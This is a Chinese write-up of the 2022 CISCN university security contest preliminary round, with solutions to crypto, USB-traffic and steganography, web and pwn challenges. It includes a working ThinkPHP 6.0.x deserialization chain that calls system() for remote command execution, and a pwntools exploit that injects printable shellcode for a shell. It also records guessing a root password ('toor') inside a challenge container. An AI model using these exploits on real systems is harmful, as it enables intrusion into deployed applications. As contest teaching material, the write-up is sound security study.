第十五届全国大学生信息安全竞赛-初赛Writeup

2022-5-29 CTFWriteupWebCryptoMiscPwnCISCN2022

打了一天,中午都没得吃,比赛结束后大排档走起

(有一说一,这次比赛非预期有点多🤣)


# Crypto

# 签到电台

启动

/send?msg=s
1
secret = "1973347399862711533110404998416457715650686145609857718723300188288593575412555543702049274771438950939954795178531483290829368278702826984745979430669687045470198763522479478721527346690557597178702747984255084300739699688722174498487190148024556725412991324287461578999334619063811305983223337641419342643123885806461827609245618232224778751077237835042208289787033881267777674432564785018335745227877690891327798615235742992497164399452959995174581039780883627351225448720175663584125774470780196310273890011415786654039389064"
secret = secret[:28]

flag = "1732 2514 1344 0356 0451 6671 0055"
flag  = flag.replace(" ", "")

for i in range(len(secret)):
    print((int(secret[i]) + int(flag[i])) % 10 ,end="")
1
2
3
4
5
6
7
8
2605598702202067578276114943
1

flag{0ea38ccb-a940-434c-92ee-e4c753d9d6dc}
1

# ISO9798

网上查找相关的文档

import string
from hashlib import sha256
from pwn import *

def bp(proof, sha):
    for s1 in table:
        for s2 in table:
            for s3 in table:
                for s4 in table:
                    ss = s1 + s2 + s3 + s4
                    if sha256((ss + proof).encode()).hexdigest() == sha:
                        return ss


context.log_level = 'debug'
r = remote('47.93.156.176', 40000)
r.recvuntil('sha256(XXXX+')
proof = r.recvuntil(')')[:-1].decode()
r.recvuntil(' == ')
sha = r.recv(64).decode()
r.recvuntil('XXXX: ')

table = string.ascii_letters+string.digits
r.sendline(bp(proof, sha))
r.recv()

r.sendline("1")
r.recvuntil("Encrypt(rA||rB||B, k) (in hex) is ")
rA_rB_B = r.recv(96).decode()

ll = len(rA_rB_B)
rA = rA_rB_B[:32]
rB = rA_rB_B[32:32*2]

rB_rA = rB + rA
r.recv()
r.sendline(rB_rA)
r.recv()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


# 基于挑战码的双向认证

非预期

进入容器,find / -name flag*,找flag文件,在/root/cube-shell/instance/flag_server目录下发现两个flag,读取提交发现就是正确的flag

cd /root/cube-shell/instance/flag_server
cat flag1.txt
1
2


# 基于挑战码的双向认证2

和上一道题一样

cd /root/cube-shell/instance/flag_server
cat flag2.txt
1
2


# 基于挑战码的双向认证3

发现题目无法查看之前的flag,尝试切换root用户,发现root的密码是toor,同上,直接find搜索flag

flag2.txt就是flag了


# Misc

# 问卷


# ez_usb

用wireshark分别提取2.8.12.10.1

使用sublime处理一下,提取出usbhid.data

利用python编写的脚本对提取出来的所有usbhid.data转化生成敲击内容:CTF—MISC—USB键盘流量分析 - 走看看 (zoukankan.com) (opens new window)

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"  ","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"   ","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('data.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
print ('output :' + "".join(output))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

  526172211a0700<CAP>c<CAP>f907300000d00000000000000c4527424943500300000002<CAP>a000000<CAP>02b9f9b0530778b5541d33080020000000666c61672<CAP>e<CAP>747874<CAP>b9b<CAP>a013242f3a<CAP>fc<CAP>000b092c229d6e994167c05<CAP>a7<CAP>8708b271f<CAP>fc<CAP>042ae3d251e65536<CAP>f9a<CAP>da87c77406b67d0<CAP>e6316684766<CAP>a86e844d<CAP>c81aa2<CAP>c72c71348d10c4<CAP>c<DEL>3d7b<CAP>00400700
output :  526172211a0700Cf907300000d00000000000000c4527424943500300000002A00000002b9f9b0530778b5541d33080020000000666c61672E747874B9Ba013242f3aFC000b092c229d6e994167c05A78708b271fFC042ae3d251e65536F9Ada87c77406b67d0E6316684766a86e844dC81AA2c72c71348d10c43D7B00400700
1
2

526172是rar的文件头,用python写个脚本

import struct
flag = "526172211a0700Cf907300000d00000000000000c4527424943500300000002A00000002b9f9b0530778b5541d33080020000000666c61672E747874B9Ba013242f3aFC000b092c229d6e994167c05A78708b271fFC042ae3d251e65536F9Ada87c77406b67d0E6316684766a86e844dC81AA2c72c71348d10c43D7B00400700"

with open("flag.rar", "wb") as f:
    for i in range(0, len(flag), 2):
        s = struct.pack('B', int(flag[i:i+2], 16))
        f.write(s)
1
2
3
4
5
6
7

同样的,对2.10.1进行同样的处理,得到

35c535765e50074a
output :35c535765e50074a
1
2

就是rar的密码,解压得到flag

flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}
1

# everlasting_night

hint:仔细观察png数据块,通道隐藏的数据可以配合lsb隐写
1

图片拖到010,发现最后面有奇奇怪怪的字符

FB 3E FC E4 CE AC 2F 54 45 C7 AE 17 E3 E9 69 AB
1

猜测md5,丢到在线网站解密,得到一个密码

FB3EFCE4CEAC2F5445C7AE17E3E969AB
ohhWh04m1
1
2

Stegsolve查看色道,看到有点不对劲,查看data extract。

提示说lsb,尝试lsb解密,得到一个文件,pk头,改后缀。

压缩包要密码,最开始的md5得到的就是密码,解压得到一个flag文件,010打开查看格式,改为后缀,然后用GIMP打开。

打开,发现是斜的图片,修改一下宽度


# Web

# Ezpop

ThinkPHP v6.0.x 反序列化链,参考文章https://blog.csdn.net/qq_42181428/article/details/105777872

修改pop如下所示:

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["key" => ["key1" => "cat /flag.txt"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
echo urlencode(serialize(new Pivot(new Pivot())));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

找到路由,Post输入a这个参数,得到flag


# Pwn

# login

逆向菜单可以发现,可以实现选择(opt)以及信息输入(msg)功能

unsigned __int64 __fastcall sub_FFD(_BYTE *a1)
{
  char *sa; // [rsp+8h] [rbp-48h]
  char *sb; // [rsp+8h] [rbp-48h]
  char *sc; // [rsp+8h] [rbp-48h]
  char *sd; // [rsp+8h] [rbp-48h]
  char v7; // [rsp+17h] [rbp-39h]
  int v8; // [rsp+1Ch] [rbp-34h]
  int v9; // [rsp+2Ch] [rbp-24h]
  void *dest; // [rsp+30h] [rbp-20h]
  char *s1; // [rsp+38h] [rbp-18h]
  char *nptr; // [rsp+40h] [rbp-10h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  memset(qword_202040, 0, sizeof(qword_202040));
  v8 = 0;
  v7 = 0;
  dest = 0LL;
  while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
  {
    if ( v8 <= 5 )
      qword_202040[2 * v8] = a1;
    sb = strchr(a1, 58);
    if ( !sb )
    {
      puts("error.");
      exit(1);
    }
    *sb = 0;
    for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
      *sc = 0;
    if ( !*sc )
    {
      puts("abort.");
      exit(2);
    }
    if ( v8 <= 5 )
      qword_202040[2 * v8 + 1] = sc;
    sd = strchr(sc, 10);
    if ( !sd )
    {
      puts("error.");
      exit(3);
    }
    *sd = 0;
    a1 = sd + 1;
    if ( *a1 == 13 )
      *a1++ = 0;
    s1 = (char *)qword_202040[2 * v8];
    nptr = (char *)qword_202040[2 * v8 + 1];
    if ( !strcasecmp(s1, "opt") )
    {
      if ( v7 )
      {
        puts("error.");
        exit(5);
      }
      v7 = atoi(nptr);
    }
    else
    {
      if ( strcasecmp(s1, "msg") )
      {
        puts("error.");
        exit(4);
      }
      if ( strlen(nptr) <= 1 )
      {
        puts("error.");
        exit(5);
      }
      v9 = strlen(nptr) - 1;
      if ( dest )
      {
        puts("error.");
        exit(5);
      }
      dest = calloc(v9 + 8, 1uLL);
      if ( v9 <= 0 )
      {
        puts("error.");
        exit(5);
      }
      memcpy(dest, nptr, v9);
    }
    ++v8;
  }
  *a1 = 0;
  sa = a1 + 1;
  if ( *sa == 10 )
    *sa = 0;
  switch ( v7 )
  {
    case 2:
      sub_DA8(dest);
      break;
    case 3:
      sub_EFE(dest);
      break;
    case 1:
      sub_CBD(dest);
      break;
    default:
      puts("error.");
      exit(6);
  }
  return __readfsqword(0x28u) ^ v13;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109

满足功能1后进入功能2存在mmap并且可以复制输入的字符串进去,然后当函数执行,直接写入可见字符shellcode即可

unsigned __int64 __fastcall sub_DA8(const char *a1)
{
  unsigned int v1; // eax
  size_t v2; // rax
  int i; // [rsp+14h] [rbp-2Ch]
  void *dest; // [rsp+18h] [rbp-28h]
  unsigned __int64 v6; // [rsp+28h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( !isprint(a1[i]) && a1[i] != 10 )
    {
      puts("oh!");
      exit(-1);
    }
  }
  if ( unk_202028 != 1 )
  {
    puts("oh!");
    exit(-1);
  }
  if ( unk_202024 )
  {
    v1 = getpagesize();
    dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
    v2 = strlen(a1);
    memcpy(dest, a1, v2);
    ((void (*)(void))dest)();
  }
  else
  {
    puts(a1);
  }
  return __readfsqword(0x28u) ^ v6;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

exp

from pwn import *
context.log_level = 'debug'
r = process('./login')
shell = "msg:ro0t1\nopt:1\n"
r.sendlineafter(">>", shell)
sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
shell = "msg:"+sc+"\nopt:2\n"
r.sendlineafter(">>", shell)
r.interactive()
1
2
3
4
5
6
7
8
9